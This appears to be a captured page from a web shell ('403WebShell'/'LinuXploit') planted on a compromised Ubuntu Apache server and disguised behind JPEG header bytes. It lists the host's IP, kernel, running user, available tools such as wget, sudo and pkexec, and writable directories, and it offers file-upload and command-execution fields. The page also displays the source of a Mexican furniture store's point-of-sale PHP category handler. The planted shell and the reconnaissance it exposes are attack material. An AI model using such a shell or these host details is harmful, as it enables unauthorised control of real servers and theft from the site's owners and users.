����JFIF��H�H����Exif��MM�*���� ��3����V�����3������3�(��������������������3�����403WebShell
403Webshell
Server IP : 74.208.127.88  /  Your IP : 3.147.77.120
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/muebles/mueblesOLDMAYO/applicationOLD/category/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/muebles/mueblesOLDMAYO/applicationOLD/category/c_item.php
<?php
date_default_timezone_set("America/Mexico_City");
setlocale(LC_ALL,"es_ES");
session_start();
require_once ("../model/dbconn.php");
require_once ("../model/pos.php");

function display_to_sql($date){
	return substr($date,6,4).'-'.substr($date,3,2).'-'.substr($date,0,2);
}

if( isset( $_SERVER['HTTP_X_REQUESTED_WITH'] ) && ( $_SERVER['HTTP_X_REQUESTED_WITH'] == 'XMLHttpRequest' ) )
{
	$pos = new pos();
	$method=$_POST['method'];
	
	//LISTAR LA TABLA DE VENTAS DE HOY PARA MANDAR A COBRO
	if($method == 'getdata'){
		$pos = new pos();
		$array = $pos->getListCategory();
		$data = $array[2];
		$i=0;
		foreach ($data as $key) {
				$button = ' <button  type="submit" id_item="'.$key['id'].'"  title="editar" class="btn btn-warning btn-sm btnedit btn-block"  id="btnedit'.$key['id'].'"  ><i class="fa fa-pencil"></i>Editar</button> <button  type="submit" id_item="'.$key['id'].'"  title="Elminar" class="btn btn-danger btn-sm btndelete btn-block"  id="btndelete'.$key['id'].'"  ><i class="fa fa-trash"></i>Eliminar</button>';
		
			$data[$i]['id']= $data[$i]['id'];
			$data[$i]['name']= $data[$i]['name'];
			$data[$i]['description'] =  $data[$i]['description'];
			
			$data[$i]['button'] = $button;
			$i++;
		}
		$datax = array('data' => $data);
		echo json_encode($datax);
	}
	
	
	if($method == 'get_detail_item')
	{
		$id_item=$_POST['id_item'];
		$pos = new pos();
		$data = $pos->getCategoria($id_item);
		$array['data'] = $data[1];
		$array['result'] = $data[0];
		echo json_encode($array);
	}
	
	
	
	if($method == 'save_item')
	{
		$iditem = $_POST['id_item'];
		$barcode = $_POST['barcode'];
		$nameitem = $_POST['item_name'];
		$unit= $_POST['unit'];
		$stock = $_POST['stock'];
		$price = $_POST['price'];
		$note = $_POST['note'];
		$crud=$_POST['crud'];
		$pos = new pos();
		if($_POST['crud'] == 'N')
		{
			$array = $pos->saveItem($barcode,$nameitem,$price,$unit,$stock,$note);
			if($array[0] == true)
			{
				$result['id_item'] = $array[2];
			}
			$result['result'] = $array[0];
		}
		else
		{
		   if($price>0){
			   $array = $pos->updateItem($iditem,$nameitem,$price,$unit,$stock,$note);
			   $result['result'] = $array[0];
		   }else{
			  $result['result'] = false;
		   }
			
		}
		$result['error'] = $array[1];
		$result['crud'] = $_POST['crud'];
		echo json_encode($result);
	}
	
	if($method == 'save_category')
	{	
		$fecha = date("Y-m-d h:i:s"); 
		$nameitem = $_POST['item_name'];
		$created_at = $fecha;
		$crud=$_POST['crud'];
		$id=$_POST['cat'];
		$id_txtname2 = $_POST['id_txtname2'];
		
		$pos = new pos();
		if($_POST['crud'] == 'N')
		{
			//GUARDAR
			$array = $pos->saveCategory( $nameitem, $created_at );
			if($array[0] == true)
			{
				$result['id_item'] = $array[2];
			}
			$result['result'] = $array[0];
		}
		
		if($_POST['crud'] == 'E'){
			//ACTUALIZA
			$array = $pos->editCategory( $nameitem,$id_txtname2 );
			$result['result'] = $array[0];
		}
		
		$result['error'] = $array[1];
		$result['crud'] = $_POST['crud'];
		echo json_encode($result);
	}
	
	
	
	
	if($method == 'delete_item'){
		$id_item=$_POST['id_item'];
		$pos = new pos();
		$array = $pos->delCategory($id_item);
		$data['result'] = $array[0];
		$data['error'] = $array[1];
		echo json_encode($data);
	}
	
} else {
	exit('No direct access allowed.');
}

Youez - 2016 - github.com/yon3zu
LinuXploit